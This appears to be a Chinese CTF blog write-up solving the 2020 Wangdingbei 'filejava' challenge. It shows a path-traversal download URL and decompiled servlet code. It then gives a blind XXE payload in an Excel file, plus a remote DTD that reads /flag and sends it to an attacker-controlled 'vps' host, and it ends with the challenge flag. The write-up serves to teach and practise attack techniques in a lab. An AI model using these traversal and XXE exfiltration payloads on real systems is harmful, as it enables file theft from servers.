2020网鼎杯青龙组filejava
2022-04-03 21:23:00 # Java # CTF #Java #文件读取 #Excel-XXE

2020网鼎杯青龙组filejava

打开题目，发现一个上传点UploadServlet，随意上传一个1.txt，返回了路径/DownloadServlet?filename=1c91fcc1-ea9e-4070-94e9-68d6064516bc_1.txt

image-20220403213056755

经过测试发现存在目录穿越，可以进行任意文件读取，并且在上传文件名为1.txt/../../../../../../的文件时，会报错并且返回web项目的绝对路径/usr/local/tomcat/webapps/ROOT/WEB-INF/

image-20220403213544841

image-20220403213754498

读取一下web.xml 

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<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

根据配置内容看一下相关Class文件

/DownloadServlet?filename=../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

然后用jd-gui反编译看源码

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import cn.abc.servlet.DownloadServlet;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet extends HttpServlet {
  private static final long serialVersionUID = 1L;
  
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    doPost(request, response);
  }
  
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String fileName = request.getParameter("filename");
    fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
    System.out.println("filename=" + fileName);
    if (fileName != null && fileName.toLowerCase().contains("flag")) {
      request.setAttribute("message", "禁止读取");
      request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
      return;
    } 
    String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload");
    String path = findFileSavePathByFileName(fileName, fileSaveRootPath);
    File file = new File(path + "/" + fileName);
    if (!file.exists()) {
      request.setAttribute("message", "您要下载的资源已被删除!");
      request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
      return;
    } 
    String realname = fileName.substring(fileName.indexOf("_") + 1);
    response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
    FileInputStream in = new FileInputStream(path + "/" + fileName);
    ServletOutputStream out = response.getOutputStream();
    byte[] buffer = new byte[1024];
    int len = 0;
    while ((len = in.read(buffer)) > 0)
      out.write(buffer, 0, len); 
    in.close();
    out.close();
  }
  
  public String findFileSavePathByFileName(String filename, String saveRootPath) {
    int hashCode = filename.hashCode();
    int dir1 = hashCode & 0xF;
    int dir2 = (hashCode & 0xF0) >> 4;
    String dir = saveRootPath + "/" + dir1 + "/" + dir2;
    File file = new File(dir);
    if (!file.exists())
      file.mkdirs(); 
    return dir;
  }
}

这里其实就是一个文件下载的功能，过滤掉了flag，如果出现了flag，则会返回禁止读取。

image-20220403215337334

image-20220403215437601

接下来读取一下UploadServlet.class

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import cn.abc.servlet.UploadServlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
  private static final long serialVersionUID = 1L;
  
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    doPost(request, response);
  }
  
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String savePath = getServletContext().getRealPath("/WEB-INF/upload");
    String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
    File tempFile = new File(tempPath);
    if (!tempFile.exists())
      tempFile.mkdir(); 
    String message = "";
    try {
      DiskFileItemFactory factory = new DiskFileItemFactory();
      factory.setSizeThreshold(102400);
      factory.setRepository(tempFile);
      ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
      upload.setHeaderEncoding("UTF-8");
      upload.setFileSizeMax(1048576L);
      upload.setSizeMax(10485760L);
      if (!ServletFileUpload.isMultipartContent(request))
        return; 
      List<FileItem> list = upload.parseRequest(request);
      for (FileItem fileItem : list) {
        if (fileItem.isFormField()) {
          String name = fileItem.getFieldName();
          String str = fileItem.getString("UTF-8");
          continue;
        } 
        String filename = fileItem.getName();
        if (filename == null || filename.trim().equals(""))
          continue; 
        String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
        InputStream in = fileItem.getInputStream();
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }  
        String saveFilename = makeFileName(filename);
        request.setAttribute("saveFilename", saveFilename);
        request.setAttribute("filename", filename);
        String realSavePath = makePath(saveFilename, savePath);
        FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
        byte[] buffer = new byte[1024];
        int len = 0;
        while ((len = in.read(buffer)) > 0)
          out.write(buffer, 0, len); 
        in.close();
        out.close();
        message = "文件上传成功!";
      } 
    } catch (FileUploadException e) {
      e.printStackTrace();
    } 
    request.setAttribute("message", message);
    request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response);
  }
  
  private String makeFileName(String filename) {
    return UUID.randomUUID().toString() + "_" + filename;
  }
  
  private String makePath(String filename, String savePath) {
    int hashCode = filename.hashCode();
    int dir1 = hashCode & 0xF;
    int dir2 = (hashCode & 0xF0) >> 4;
    String dir = savePath + "/" + dir1 + "/" + dir2;
    File file = new File(dir);
    if (!file.exists())
      file.mkdirs(); 
    return dir;
  }
}

这里，检测上传的文件名，如果以excel-开头，并且以xlsx结尾的话，即可触发excel的CVE（Bind XXE）

image-20220403220336107

新建一个excel-le1a.xlsx，用7.zip打开文件，并将[Content_Types].xml的第一行内容添加为

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<!DOCTYPE exp [<!ENTITY % remote SYSTEM 'http://vps/le1a.dtd'>%remote;]><exp/>

然后在vps上新建一个le1a.dtd

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<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

接着监听自己的服务器的端口，然后上传excel文件

image-20220403223314073

拿到flag:

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flag{4573811c-bde4-4a1e-8617-1e4e29aec4c9}
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